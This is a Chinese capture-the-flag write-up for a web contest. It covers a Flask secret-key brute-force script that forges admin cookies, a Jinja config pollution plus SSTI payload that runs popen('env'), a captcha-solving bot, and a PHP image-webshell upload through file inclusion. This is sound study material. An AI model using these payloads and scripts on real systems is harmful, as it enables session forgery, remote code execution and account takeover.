wp wp 第二届VCTF纳新赛web wp 达达 2025-11-25 2025-11-25 先随机注册一个用户登录
拿到session=eyJpZGVudGl0eSI6Imd1ZXN0IiwidXNlcm5hbWUiOiIxMjMifQ.aRhgKQ.QthQrCegum67-aJHat1ZonWFJXw
可以猜到肯定要session伪造admin用户登录的,只不过这里还要利用时间戳去爆破一下密钥,然后再去伪造
这里让ai写了一个脚本爆破密钥伪造cookie
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 import randomimport timeimport sysfrom flask.sessions import SecureCookieSessionInterfacefrom itsdangerous import URLSafeTimedSerializerSAMPLE_COOKIE = "eyJpZGVudGl0eSI6Imd1ZXN0IiwidXNlcm5hbWUiOiIxMjMifQ.aRhgKQ.QthQrCegum67-aJHat1ZonWFJXw" SEARCH_RANGE_SECONDS = 2 * 24 * 60 * 60 class MockApp : def __init__ (self, secret_key ): self .config = {'SECRET_KEY' : secret_key} def decode_flask_cookie (secret_key, cookie_str ): try : serializer = URLSafeTimedSerializer( secret_key=secret_key, salt='cookie-session' , serializer=None , signer_kwargs={'key_derivation' : 'hmac' , 'digest_method' : None } ) return serializer.loads(cookie_str) except Exception: return None def forge_admin_cookie (secret_key ): """使用正确的密钥伪造管理员 Cookie""" serializer = URLSafeTimedSerializer( secret_key=secret_key, salt='cookie-session' , serializer=None , signer_kwargs={'key_derivation' : 'hmac' , 'digest_method' : None } ) payload = { 'username' : 'admin' , 'identity' : 'admin' , 'balance' : 999999 } return serializer.dumps(payload) def main (): if "ey" not in SAMPLE_COOKIE: print ("[-] 请先在脚本中填入一个有效的 SAMPLE_COOKIE (第 10 行)" ) return print ("[*] 开始爆破随机数种子..." ) t_now = int (time.time()) t_start = t_now - SEARCH_RANGE_SECONDS for t in range (t_now, t_start, -1 ): random.seed(t) candidate_key = '' .join(random.choices('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' , k=32 )) decoded = decode_flask_cookie(candidate_key, SAMPLE_COOKIE) if decoded: print (f"\n[+] 成功找到密钥!" ) print (f"[+] 服务器启动时间戳 (Seed): {t} " ) print (f"[+] Secret Key: {candidate_key} " ) print (f"[+] 解密出的数据: {decoded} " ) admin_cookie = forge_admin_cookie(candidate_key) print (f"\n[+] 伪造的管理员 Cookie (请替换浏览器中的 session):" ) print ("-" * 60 ) print (admin_cookie) print ("-" * 60 ) return print ("[-] 爆破失败。可能是时间范围不够,或者服务器时钟与本地差距过大。" ) if __name__ == '__main__' : main()
这样就拿到了admin权限
需要admin权限的原因是因为 要去上传一些东西有identity验证 例如修改库存等
1 2 3 4 POST /products/0/update {"product": {"stock": 1}} 传参修改库存为1 这时候就可以用普通用户去购买flag 但这个买到的flag是fake
下面就是一个ssti(render_template_string),看那些waf也可以猜到八成就是要ssti
覆盖 app.flag_content 的值 购买 Flag时,触发 render_template_string 执行ssti模板注入
1 2 3 4 5 6 7 8 9 10 11 POST /products/0/update { "app": { "jinja_env": { "variable_start_string": "[[", "variable_end_string": "]]" } } } 利用了 merge 漏洞修改了服务器的全局 Jinja 配置 即把{{}}识别修改成了[[]]
1 2 3 4 5 6 7 8 POST /products/0/update { "app": { "flag_content": "[[ self.__class__.__base__.__subclasses__() ]]" } } 再回去用普通用户购买flag
利用os._wrap_close 索引是141 第一个是0
1 2 3 4 5 6 7 POST /products/0/update { "app": { "flag_content": "[[ self.__class__.__base__.__subclasses__()[141]['__in' + 'it__']['__glob' + 'als__']['popen']('env').read() ]]" } }
查看环境变量拿到flag
Slide Captcha 滑块验证十次
通过脚本去验证 应该就是通过api去爬下来图片 然后去找到x_pos的坐标位置并发送吧
ai写的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 import requestsimport base64import cv2 import numpy as npimport timefrom base64 import binascii BASE_URL = "http://47.98.117.93:43482" s = requests.Session() count = 0 while count < 10 : print (f"--- 正在尝试第 {count + 1 } / 10 次 ---" ) try : resp = s.get(f"{BASE_URL} /captcha" , timeout=5 ) resp.raise_for_status() data = resp.json() src_bg_b64 = data['src_bg' ].split(',' )[-1 ] slice_b64 = data['slice' ].split(',' )[-1 ] try : src_bg_bytes = base64.b64decode(src_bg_b64) slice_bytes = base64.b64decode(slice_b64) except binascii.Error as e: print (f"!!! Base64 解码失败: {e} " ) print ("服务器返回了损坏的数据。正在重试..." ) time.sleep(1 ) continue src_img = cv2.imdecode(np.frombuffer(src_bg_bytes, np.uint8), cv2.IMREAD_COLOR) slice_img = cv2.imdecode(np.frombuffer(slice_bytes, np.uint8), cv2.IMREAD_COLOR) result = cv2.matchTemplate(src_img, slice_img, cv2.TM_CCOEFF_NORMED) _, _, _, max_loc = cv2.minMaxLoc(result) x_pos = max_loc[0 ] print (f"计算出的 x 坐标: {x_pos} " ) payload = {"x_pos" : int (x_pos)} val_resp = s.post(f"{BASE_URL} /validate" , json=payload, timeout=5 ) val_resp.raise_for_status() val_data = val_resp.json() print (f"服务器响应: {val_data} " ) if val_data['code' ] == 0 : print ("\n" + "=" * 30 ) print (f"!!! 成功! Flag: {val_data['msg' ]} !!!" ) print ("=" * 30 + "\n" ) break elif val_data['code' ] == 1 : count += 1 elif val_data['code' ] == 2 : print ("X 验证失败,滑块位置错误。正在重试..." ) time.sleep(1 ) except requests.exceptions.RequestException as e: print (f"请求发生错误: {e} " ) print ("等待 3 秒后重试..." ) time.sleep(3 ) except Exception as e: print (f"发生意外错误: {e} " ) print ("等待 3 秒后重试..." ) time.sleep(3 )
验证十次成功就能拿到flag
upload
首先注意url上是有个doc参数的 这里就是文件包含 那就传图片马就行了
没什么waf 用php的短标签绕过一下php关键字的检测就行了
通过文件包含去读取 这里木马就已经上传成功了